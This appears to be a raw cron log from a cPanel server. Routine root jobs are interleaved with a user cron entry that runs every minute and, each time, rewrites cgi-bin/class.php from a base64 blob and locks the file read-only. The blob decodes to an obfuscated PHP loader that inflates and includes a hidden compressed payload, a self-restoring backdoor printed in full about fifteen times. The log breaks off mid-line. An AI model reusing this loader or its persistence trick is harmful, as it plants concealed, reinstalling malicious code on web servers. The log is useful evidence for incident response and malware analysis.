Apr  9 13:35:01 server CROND[8958]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 13:35:01 server CROND[8957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:35:01 server CROND[8959]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 13:35:01 server CROND[8960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:35:01 server CROND[8961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:36:01 server CROND[9091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:37:01 server CROND[9142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:38:01 server CROND[9207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:39:01 server CROND[9362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:39:01 server CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 13:40:01 server CROND[9441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:40:01 server CROND[9442]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:40:01 server CROND[9443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:40:01 server CROND[9448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:41:01 server CROND[9578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:42:01 server CROND[9644]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 13:42:01 server CROND[9645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:43:01 server CROND[9698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:44:01 server CROND[9751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:45:01 server CROND[9903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:45:01 server CROND[9904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:45:01 server CROND[9905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:46:01 server CROND[10013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:47:01 server CROND[10082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:48:01 server CROND[10129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH